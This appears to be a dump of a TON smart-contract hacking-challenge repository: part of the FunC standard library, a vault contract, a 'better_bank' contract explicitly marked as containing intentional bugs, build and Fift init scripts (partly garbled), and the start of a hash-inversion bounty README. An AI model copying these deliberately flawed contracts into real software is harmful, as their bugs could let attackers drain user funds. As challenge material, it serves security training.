asm(s len -> 1 0) "LDSLICEX"; 309 | 310 | ;;; Preloads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 311 | ;; slice preload_bits(slice s, int len) asm "PLDSLICEX"; 312 | 313 | ;;; Loads serialized amount of TonCoins (any unsigned integer up to `2^128 - 1`). 314 | (slice, int) load_grams(slice s) asm( -> 1 0) "LDGRAMS"; 315 | (slice, int) load_coins(slice s) asm( -> 1 0) "LDGRAMS"; 316 | 317 | ;;; Returns all but the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 318 | slice skip_bits(slice s, int len) asm "SDSKIPFIRST"; 319 | (slice, ()) ~skip_bits(slice s, int len) asm "SDSKIPFIRST"; 320 | 321 | ;;; Returns the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 322 | slice first_bits(slice s, int len) asm "SDCUTFIRST"; 323 | 324 | ;;; Returns all but the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 325 | slice skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 326 | (slice, ()) ~skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 327 | 328 | ;;; Returns the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 329 | slice slice_last(slice s, int len) asm "SDCUTLAST"; 330 | 331 | ;;; Loads a dictionary `D` (HashMapE) from `slice` [s]. 332 | ;;; (returns `null` if `nothing` constructor is used). 333 | (slice, cell) load_dict(slice s) asm( -> 1 0) "LDDICT"; 334 | 335 | ;;; Preloads a dictionary `D` from `slice` [s]. 336 | cell preload_dict(slice s) asm "PLDDICT"; 337 | 338 | ;;; Loads a dictionary as [load_dict], but returns only the remainder of the slice. 339 | slice skip_dict(slice s) asm "SKIPDICT"; 340 | 341 | ;;; Loads (Maybe ^Cell) from `slice` [s]. 342 | ;;; In other words loads 1 bit and if it is true 343 | ;;; loads first ref and return it with slice remainder 344 | ;;; otherwise returns `null` and slice remainder 345 | (slice, cell) load_maybe_ref(slice s) asm( -> 1 0) "LDOPTREF"; 346 | 347 | ;;; Preloads (Maybe ^Cell) from `slice` [s]. 348 | cell preload_maybe_ref(slice s) asm "PLDOPTREF"; 349 | 350 | 351 | ;;; Returns the depth of `cell` [c]. 352 | ;;; If [c] has no references, then return `0`; 353 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [c]. 354 | ;;; If [c] is a `null` instead of a cell, returns zero. 355 | int cell_depth(cell c) asm "CDEPTH"; 356 | 357 | 358 | {- 359 | # Slice size primitives 360 | -} 361 | 362 | ;;; Returns the number of references in `slice` [s]. 363 | int slice_refs(slice s) asm "SREFS"; 364 | 365 | ;;; Returns the number of data bits in `slice` [s]. 366 | int slice_bits(slice s) asm "SBITS"; 367 | 368 | ;;; Returns both the number of data bits and the number of references in `slice` [s]. 369 | (int, int) slice_bits_refs(slice s) asm "SBITREFS"; 370 | 371 | ;;; Checks whether a `slice` [s] is empty (i.e., contains no bits of data and no cell references). 372 | int slice_empty?(slice s) asm "SEMPTY"; 373 | 374 | ;;; Checks whether `slice` [s] has no bits of data. 375 | int slice_data_empty?(slice s) asm "SDEMPTY"; 376 | 377 | ;;; Checks whether `slice` [s] has no references. 378 | int slice_refs_empty?(slice s) asm "SREMPTY"; 379 | 380 | ;;; Returns the depth of `slice` [s]. 381 | ;;; If [s] has no references, then returns `0`; 382 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [s]. 383 | int slice_depth(slice s) asm "SDEPTH"; 384 | 385 | {- 386 | # Builder size primitives 387 | -} 388 | 389 | ;;; Returns the number of cell references already stored in `builder` [b] 390 | int builder_refs(builder b) asm "BREFS"; 391 | 392 | ;;; Returns the number of data bits already stored in `builder` [b]. 393 | int builder_bits(builder b) asm "BBITS"; 394 | 395 | ;;; Returns the depth of `builder` [b]. 396 | ;;; If no cell references are stored in [b], then returns 0; 397 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [b]. 398 | int builder_depth(builder b) asm "BDEPTH"; 399 | 400 | {- 401 | # Builder primitives 402 | It is said that a primitive _stores_ a value `x` into a builder `b` 403 | if it returns a modified version of the builder `b'` with the value `x` stored at the end of it. 404 | It can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods). 405 | 406 | All the primitives below first check whether there is enough space in the `builder`, 407 | and only then check the range of the value being serialized. 408 | -} 409 | 410 | ;;; Creates a new empty `builder`. 411 | builder begin_cell() asm "NEWC"; 412 | 413 | ;;; Converts a `builder` into an ordinary `cell`. 414 | cell end_cell(builder b) asm "ENDC"; 415 | 416 | ;;; Stores a reference to `cell` [c] into `builder` [b]. 417 | builder store_ref(builder b, cell c) asm(c b) "STREF"; 418 | 419 | ;;; Stores an unsigned [len]-bit integer `x` into `b` for `0 ≤ len ≤ 256`. 420 | ;; builder store_uint(builder b, int x, int len) asm(x b len) "STUX"; 421 | 422 | ;;; Stores a signed [len]-bit integer `x` into `b` for` 0 ≤ len ≤ 257`. 423 | ;; builder store_int(builder b, int x, int len) asm(x b len) "STIX"; 424 | 425 | 426 | ;;; Stores `slice` [s] into `builder` [b] 427 | builder store_slice(builder b, slice s) asm "STSLICER"; 428 | 429 | ;;; Stores (serializes) an integer [x] in the range `0..2^128 − 1` into `builder` [b]. 430 | ;;; The serialization of [x] consists of a 4-bit unsigned big-endian integer `l`, 431 | ;;; which is the smallest integer `l ≥ 0`, such that `x < 2^8l`, 432 | ;;; followed by an `8l`-bit unsigned big-endian representation of [x]. 433 | ;;; If [x] does not belong to the supported range, a range check exception is thrown. 434 | ;;; 435 | ;;; Store amounts of TonCoins to the builder as VarUInteger 16 436 | builder store_grams(builder b, int x) asm "STGRAMS"; 437 | builder store_coins(builder b, int x) asm "STGRAMS"; 438 | 439 | ;;; Stores dictionary `D` represented by `cell` [c] or `null` into `builder` [b]. 440 | ;;; In other words, stores a `1`-bit and a reference to [c] if [c] is not `null` and `0`-bit otherwise. 441 | builder store_dict(builder b, cell c) asm(c b) "STDICT"; 442 | 443 | ;;; Stores (Maybe ^Cell) to builder: 444 | ;;; if cell is null store 1 zero bit 445 | ;;; otherwise store 1 true bit and ref to cell 446 | builder store_maybe_ref(builder b, cell c) asm(c b) "STOPTREF"; 447 | 448 | 449 | {- 450 | # Address manipulation primitives 451 | The address manipulation primitives listed below serialize and deserialize values according to the following TL-B scheme: 452 | ```TL-B 453 | addr_none$00 = MsgAddressExt; 454 | addr_extern$01 len:(## 8) external_address:(bits len) 455 | = MsgAddressExt; 456 | anycast_info$_ depth:(#<= 30) { depth >= 1 } 457 | rewrite_pfx:(bits depth) = Anycast; 458 | addr_std$10 anycast:(Maybe Anycast) 459 | workchain_id:int8 address:bits256 = MsgAddressInt; 460 | addr_var$11 anycast:(Maybe Anycast) addr_len:(## 9) 461 | workchain_id:int32 address:(bits addr_len) = MsgAddressInt; 462 | _ _:MsgAddressInt = MsgAddress; 463 | _ _:MsgAddressExt = MsgAddress; 464 | 465 | int_msg_info$0 ihr_disabled:Bool bounce:Bool bounced:Bool 466 | src:MsgAddress dest:MsgAddressInt 467 | value:CurrencyCollection ihr_fee:Grams fwd_fee:Grams 468 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 469 | ext_out_msg_info$11 src:MsgAddress dest:MsgAddressExt 470 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 471 | ``` 472 | A deserialized `MsgAddress` is represented by a tuple `t` as follows: 473 | 474 | - `addr_none` is represented by `t = (0)`, 475 | i.e., a tuple containing exactly one integer equal to zero. 476 | - `addr_extern` is represented by `t = (1, s)`, 477 | where slice `s` contains the field `external_address`. In other words, ` 478 | t` is a pair (a tuple consisting of two entries), containing an integer equal to one and slice `s`. 479 | - `addr_std` is represented by `t = (2, u, x, s)`, 480 | where `u` is either a `null` (if `anycast` is absent) or a slice `s'` containing `rewrite_pfx` (if anycast is present). 481 | Next, integer `x` is the `workchain_id`, and slice `s` contains the address. 482 | - `addr_var` is represented by `t = (3, u, x, s)`, 483 | where `u`, `x`, and `s` have the same meaning as for `addr_std`. 484 | -} 485 | 486 | ;;; Loads from slice [s] the only prefix that is a valid `MsgAddress`, 487 | ;;; and returns both this prefix `s'` and the remainder `s''` of [s] as slices. 488 | (slice, slice) load_msg_addr(slice s) asm( -> 1 0) "LDMSGADDR"; 489 | 490 | ;;; Decomposes slice [s] containing a valid `MsgAddress` into a `tuple t` with separate fields of this `MsgAddress`. 491 | ;;; If [s] is not a valid `MsgAddress`, a cell deserialization exception is thrown. 492 | tuple parse_addr(slice s) asm "PARSEMSGADDR"; 493 | 494 | ;;; Parses slice [s] containing a valid `MsgAddressInt` (usually a `msg_addr_std`), 495 | ;;; applies rewriting from the anycast (if present) to the same-length prefix of the address, 496 | ;;; and returns both the workchain and the 256-bit address as integers. 497 | ;;; If the address is not 256-bit, or if [s] is not a valid serialization of `MsgAddressInt`, 498 | ;;; throws a cell deserialization exception. 499 | (int, int) parse_std_addr(slice s) asm "REWRITESTDADDR"; 500 | 501 | ;;; A variant of [parse_std_addr] that returns the (rewritten) address as a slice [s], 502 | ;;; even if it is not exactly 256 bit long (represented by a `msg_addr_var`). 503 | (int, slice) parse_var_addr(slice s) asm "REWRITEVARADDR"; 504 | 505 | {- 506 | # Dictionary primitives 507 | -} 508 | 509 | 510 | ;;; Sets the value associated with [key_len]-bit key signed index in dictionary [dict] to [value] (cell), 511 | ;;; and returns the resulting dictionary. 512 | cell idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 513 | (cell, ()) ~idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 514 | 515 | ;;; Sets the value associated with [key_len]-bit key unsigned index in dictionary [dict] to [value] (cell), 516 | ;;; and returns the resulting dictionary. 517 | cell udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 518 | (cell, ()) ~udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 519 | 520 | cell idict_get_ref(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETOPTREF"; 521 | (cell, int) idict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETREF" "NULLSWAPIFNOT"; 522 | (cell, int) udict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGETREF" "NULLSWAPIFNOT"; 523 | (cell, cell) idict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETGETOPTREF"; 524 | (cell, cell) udict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETGETOPTREF"; 525 | (cell, int) idict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDEL"; 526 | (cell, int) udict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDEL"; 527 | (slice, int) idict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGET" "NULLSWAPIFNOT"; 528 | (slice, int) udict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGET" "NULLSWAPIFNOT"; 529 | (cell, slice, int) idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 530 | (cell, slice, int) udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 531 | (cell, (slice, int)) ~idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 532 | (cell, (slice, int)) ~udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 533 | cell udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUSET"; 534 | (cell, ()) ~udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUSET"; 535 | cell idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 536 | (cell, ()) ~idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 537 | cell dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 538 | (cell, ()) ~dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 539 | (cell, int) udict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUADD"; 540 | (cell, int) udict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUREPLACE"; 541 | (cell, int) idict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIADD"; 542 | (cell, int) idict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIREPLACE"; 543 | cell udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 544 | (cell, ()) ~udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 545 | cell idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 546 | (cell, ()) ~idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 547 | cell dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 548 | (cell, ()) ~dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 549 | (cell, int) udict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUADDB"; 550 | (cell, int) udict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUREPLACEB"; 551 | (cell, int) idict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIADDB"; 552 | (cell, int) idict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIREPLACEB"; 553 | (cell, int, slice, int) udict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 554 | (cell, (int, slice, int)) ~udict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 555 | (cell, int, slice, int) idict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 556 | (cell, (int, slice, int)) ~idict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 557 | (cell, slice, slice, int) dict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 558 | (cell, (slice, slice, int)) ~dict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 559 | (cell, int, slice, int) udict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 560 | (cell, (int, slice, int)) ~udict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 561 | (cell, int, slice, int) idict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 562 | (cell, (int, slice, int)) ~idict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 563 | (cell, slice, slice, int) dict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 564 | (cell, (slice, slice, int)) ~dict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 565 | (int, slice, int) udict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMIN" "NULLSWAPIFNOT2"; 566 | (int, slice, int) udict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAX" "NULLSWAPIFNOT2"; 567 | (int, cell, int) udict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMINREF" "NULLSWAPIFNOT2"; 568 | (int, cell, int) udict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAXREF" "NULLSWAPIFNOT2"; 569 | (int, slice, int) idict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMIN" "NULLSWAPIFNOT2"; 570 | (int, slice, int) idict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAX" "NULLSWAPIFNOT2"; 571 | (int, cell, int) idict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMINREF" "NULLSWAPIFNOT2"; 572 | (int, cell, int) idict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAXREF" "NULLSWAPIFNOT2"; 573 | (int, slice, int) udict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXT" "NULLSWAPIFNOT2"; 574 | (int, slice, int) udict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXTEQ" "NULLSWAPIFNOT2"; 575 | (int, slice, int) udict_get_prev?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETPREV" "NULLSWAPIFNOT2"; 576 | (int, slice, int) udict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETPREVEQ" "NULLSWAPIFNOT2"; 577 | (int, slice, int) idict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXT" "NULLSWAPIFNOT2"; 578 | (int, slice, int) idict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXTEQ" "NULLSWAPIFNOT2"; 579 | (int, slice, int) idict_get_prev?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREV" "NULLSWAPIFNOT2"; 580 | (int, slice, int) idict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREVEQ" "NULLSWAPIFNOT2"; 581 | 582 | ;;; Creates an empty dictionary, which is actually a null value. Equivalent to PUSHNULL 583 | cell new_dict() asm "NEWDICT"; 584 | ;;; Checks whether a dictionary is empty. Equivalent to cell_null?. 585 | int dict_empty?(cell c) asm "DICTEMPTY"; 586 | 587 | 588 | {- Prefix dictionary primitives -} 589 | (slice, slice, slice, int) pfxdict_get?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTGETQ" "NULLSWAPIFNOT2"; 590 | (cell, int) pfxdict_set?(cell dict, int key_len, slice key, slice value) asm(value key dict key_len) "PFXDICTSET"; 591 | (cell, int) pfxdict_delete?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTDEL"; 592 | 593 | ;;; Returns the value of the global configuration parameter with integer index `i` as a `cell` or `null` value. 594 | cell config_param(int x) asm "CONFIGOPTPARAM"; 595 | ;;; Checks whether c is a null. Note, that FunC also has polymorphic null? built-in. 596 | int cell_null?(cell c) asm "ISNULL"; 597 | 598 | ;;; Creates an output action which would reserve exactly amount nanotoncoins (if mode = 0), at most amount nanotoncoins (if mode = 2), or all but amount nanotoncoins (if mode = 1 or mode = 3), from the remaining balance of the account. It is roughly equivalent to creating an outbound message carrying amount nanotoncoins (or b − amount nanotoncoins, where b is the remaining balance) to oneself, so that the subsequent output actions would not be able to spend more money than the remainder. Bit +2 in mode means that the external action does not fail if the specified amount cannot be reserved; instead, all remaining balance is reserved. Bit +8 in mode means `amount <- -amount` before performing any further actions. Bit +4 in mode means that amount is increased by the original balance of the current account (before the compute phase), including all extra currencies, before performing any other checks and actions. Currently, amount must be a non-negative integer, and mode must be in the range 0..15. 599 | () raw_reserve(int amount, int mode) impure asm "RAWRESERVE"; 600 | ;;; Similar to raw_reserve, but also accepts a dictionary extra_amount (represented by a cell or null) with extra currencies. In this way currencies other than TonCoin can be reserved. 601 | () raw_reserve_extra(int amount, cell extra_amount, int mode) impure asm "RAWRESERVEX"; 602 | ;;; Sends a raw message contained in msg, which should contain a correctly serialized object Message X, with the only exception that the source address is allowed to have dummy value addr_none (to be automatically replaced with the current smart contract address), and ihr_fee, fwd_fee, created_lt and created_at fields can have arbitrary values (to be rewritten with correct values during the action phase of the current transaction). Integer parameter mode contains the flags. Currently mode = 0 is used for ordinary messages; mode = 128 is used for messages that are to carry all the remaining balance of the current smart contract (instead of the value originally indicated in the message); mode = 64 is used for messages that carry all the remaining value of the inbound message in addition to the value initially indicated in the new message (if bit 0 is not set, the gas fees are deducted from this amount); mode' = mode + 1 means that the sender wants to pay transfer fees separately; mode' = mode + 2 means that any errors arising while processing this message during the action phase should be ignored. Finally, mode' = mode + 32 means that the current account must be destroyed if its resulting balance is zero. This flag is usually employed together with +128. 603 | () send_raw_message(cell msg, int mode) impure asm "SENDRAWMSG"; 604 | ;;; Creates an output action that would change this smart contract code to that given by cell new_code. Notice that this change will take effect only after the successful termination of the current run of the smart contract 605 | () set_code(cell new_code) impure asm "SETCODE"; 606 | 607 | ;;; Generates a new pseudo-random unsigned 256-bit integer x. The algorithm is as follows: if r is the old value of the random seed, considered as a 32-byte array (by constructing the big-endian representation of an unsigned 256-bit integer), then its sha512(r) is computed; the first 32 bytes of this hash are stored as the new value r' of the random seed, and the remaining 32 bytes are returned as the next random value x. 608 | int random() impure asm "RANDU256"; 609 | ;;; Generates a new pseudo-random integer z in the range 0..range−1 (or range..−1, if range < 0). More precisely, an unsigned random value x is generated as in random; then z := x * range / 2^256 is computed. 610 | int rand(int range) impure asm "RAND"; 611 | ;;; Returns the current random seed as an unsigned 256-bit Integer. 612 | int get_seed() impure asm "RANDSEED"; 613 | ;;; Sets the random seed to unsigned 256-bit seed. 614 | int set_seed() impure asm "SETRAND"; 615 | ;;; Mixes unsigned 256-bit integer x into the random seed r by setting the random seed to sha256 of the concatenation of two 32-byte strings: the first with the big-endian representation of the old seed r, and the second with the big-endian representation of x. 616 | () randomize(int x) impure asm "ADDRAND"; 617 | ;;; Equivalent to randomize(cur_lt());. 618 | () randomize_lt() impure asm "LTIME" "ADDRAND"; 619 | 620 | ;;; Checks whether the data parts of two slices coinside 621 | int equal_slice_bits (slice a, slice b) asm "SDEQ"; 622 | 623 | ;;; Concatenates two builders 624 | builder store_builder(builder to, builder from) asm "STBR"; 625 | -------------------------------------------------------------------------------- /6. vault/vault.func: -------------------------------------------------------------------------------- 1 | #include "common.func"; 2 | 3 | () recv_internal(int my_balance, int msg_value, cell in_msg_full, slice in_msg_body) impure { 4 | slice cs = in_msg_full.begin_parse(); 5 | cs~skip_bits(4); 6 | slice sender_address = cs~load_msg_addr(); 7 | 8 | slice ds = get_data().begin_parse(); 9 | slice database_address = ds~load_msg_addr(); 10 | 11 | if (slice_data_equal?(sender_address, database_address)) { 12 | 13 | int op = in_msg_body~load_uint(32); 14 | int addr_hash = in_msg_body~load_uint(256); 15 | 16 | int mode = null(); 17 | if (op == op_not_winner) { 18 | mode = 64; ;; Refund remaining check-TONs 19 | ;; addr_hash corresponds to check requester 20 | } else { 21 | mode = 128; ;; Award the prize 22 | ;; addr_hash corresponds to the withdrawal address from the winning entry 23 | } 24 | 25 | var msg = begin_cell() 26 | .store_uint(0x18, 6) ;; bounce - int_msg_info$0 ihr_disabled:Bool bounce:Bool bounced:Bool src:MsgAddress -> 011000 27 | .store_std_addr(0, addr_hash) 28 | .store_grams(0) 29 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1); 30 | send_raw_message(msg.end_cell(), mode); 31 | } else { 32 | if(in_msg_body~load_uint(32) | (~ slice_data_equal?(in_msg_body, "check"))) { 33 | return (); 34 | } 35 | 36 | var (_, addr_hash) = parse_std_addr(sender_address); 37 | 38 | var msg = begin_cell() 39 | .store_uint(0x18, 6) ;; bounce - int_msg_info$0 ihr_disabled:Bool bounce:Bool bounced:Bool src:MsgAddress -> 011000 40 | .store_slice(database_address) 41 | .store_grams(0) 42 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 43 | .store_uint(addr_hash, 256); 44 | send_raw_message(msg.end_cell(), 64); 45 | } 46 | } 47 | 48 | ;; Unused 49 | cell get_initial_storage(slice database_address) method_id(3333) { 50 | var initial_storage = begin_cell() 51 | .store_slice(database_address) 52 | .end_cell(); 53 | 54 | return initial_storage; 55 | } 56 | -------------------------------------------------------------------------------- /7. better_bank/README.md: -------------------------------------------------------------------------------- 1 | # Bank 2 | Hashmap based bank with fund protection. You can put money in and get them out, before any action bank save unused money. 3 | 4 | # Address 5 | [EQD9XPtwX7jn4gSQCchnb9zxpLfxfANes7EkHlWigzi_BHAI](https://tonscan.org/address/EQD9XPtwX7jn4gSQCchnb9zxpLfxfANes7EkHlWigzi_BHAI) 6 | -------------------------------------------------------------------------------- /7. better_bank/better_bank.func: -------------------------------------------------------------------------------- 1 | {- 2 | 3 | !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 4 | Contract contains intentional bugs, do not use in production 5 | 6 | -} 7 | 8 | #include "stdlib.func"; 9 | 10 | global int total_balance; 11 | global cell accounts; 12 | 13 | () load_data () impure { 14 | slice ds = get_data().begin_parse(); 15 | total_balance = ds~load_coins(); 16 | accounts = ds~load_dict(); 17 | } 18 | 19 | () save_data () impure { 20 | set_data(begin_cell() 21 | .store_coins(total_balance) 22 | .store_dict(accounts) 23 | .end_cell()); 24 | } 25 | 26 | () recv_internal (msg_value, in_msg_full, in_msg_body) { 27 | if (in_msg_body.slice_empty?()) { ;; ignore empty messages 28 | return (); 29 | } 30 | slice cs = in_msg_full.begin_parse(); 31 | int flags = cs~load_uint(4); 32 | 33 | if (flags & 1) { ;; ignore all bounced messages 34 | return (); 35 | } 36 | slice sender_address = cs~load_msg_addr(); 37 | if (equal_slice_bits(sender_address, my_address())) { 38 | ;; money reserve 39 | return (); 40 | } 41 | 42 | 43 | 44 | (int wc, int sender) = parse_std_addr(sender_address); 45 | throw_unless(99, wc == 0); 46 | 47 | int op = in_msg_body~load_uint(32); 48 | int query_id = in_msg_body~load_uint(64); 49 | 50 | load_data(); 51 | cell accounts' = accounts; 52 | 53 | if( op == 0 ) { ;; Deposit 54 | int fee = 10000000; 55 | int balance = max(msg_value - fee, 0); 56 | total_balance = total_balance + balance; 57 | (_, slice old_balance_slice, int found?) = accounts'.udict_delete_get?(256, sender); 58 | if(found?) { 59 | balance += old_balance_slice~load_coins(); 60 | } 61 | accounts'~udict_set_builder(256, sender, begin_cell().store_coins(balance)); 62 | } 63 | if (op == 1) { ;; Withdraw 64 | int withdraw_fee = 10000000; 65 | (accounts', slice old_balance_slice, int found?) = accounts'.udict_delete_get?(256, sender); 66 | throw_unless(98, found?); 67 | int balance = old_balance_slice~load_coins(); 68 | int withdraw_amount = in_msg_body~load_coins() + withdraw_fee; 69 | throw_unless(100, balance >= withdraw_amount); 70 | balance -= withdraw_amount; 71 | total_balance = total_balance - withdraw_amount; 72 | if(balance > 0 ) { 73 | accounts'~udict_set_builder(256, sender, begin_cell().store_coins(balance)); 74 | } 75 | 76 | ;; To be sure nobody steal funds - first send it to ourselves 77 | var storage_fee = 100000000; 78 | var msg = begin_cell() 79 | .store_uint(0x18, 6) 80 | .store_slice(my_address()) 81 | .store_coins(total_balance + storage_fee) 82 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 83 | .end_cell(); 84 | send_raw_message(msg, 2); 85 | 86 | int mode = 2 | 128; 87 | if(get_balance().pair_first() < withdraw_amount) { ;; all money withdrawn, shutdown bank 88 | mode |= 32; 89 | } 90 | ;; everything else can be sent to user 91 | var msg = begin_cell() 92 | .store_uint(0x18, 6) 93 | .store_slice(sender_address) 94 | .store_coins(0) 95 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 96 | .end_cell(); 97 | send_raw_message(msg, mode); 98 | } 99 | accounts = accounts'; 100 | save_data(); 101 | } 102 | 103 | 104 | int get_user_balance(int address) method_id { 105 | load_data(); 106 | (_, slice balance_slice, int found?) = get_data().udict_delete_get?(256, address); 107 | if ~ found? { 108 | return 0; 109 | } 110 | return balance_slice~load_coins(); 111 | } 112 | -------------------------------------------------------------------------------- /7. better_bank/build.sh: -------------------------------------------------------------------------------- 1 | func -o better-bank-code.fif -SPA better_bank.func 2 | -------------------------------------------------------------------------------- /7. better_bank/init.fif: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fift -s 2 | "TonUtil.fif" include 3 | "Asm.fif" include 4 | 5 | true =: bounce 6 | <{ 7 | SETCP0 ACCEPT 8 | "better-bank-code.fif" include PUSHREF SETCODE 9 | 0 PUSHINT 10 | }>s =: contract_code 11 | 12 | =: contract_storage 13 | 14 | ref, contract_storage ref, b> 15 | dup =: state_init 16 | 17 | dup hashu 0 swap 2constant contract_address 18 | ."new bank wallet address = " contract_address .addr cr 19 | 20 | ."Non-bounceable address (for init): " contract_address 7 .Addr cr 21 | ."Bounceable address (for later access): " contract_address 6 .Addr cr 22 | 23 | 25 | 2 boc+>B 26 | 27 | "query-init-bank.boc" tuck B>file 28 | ."(Saved bank contract creating query to file " type .")" cr 29 | 30 | -------------------------------------------------------------------------------- /8. dehasher/README.md: -------------------------------------------------------------------------------- 1 | # Hash inversion 2 | Hash inversion is important cryptographic problem. Authors of this contract decided to incentivise research in this direction by applying bounty to the task: anybody who manage to write algorithm for hash inversion (finding pre-image by it's hash) will get a bounty - whole contract balance. 3 | 4 | # Address 5 | 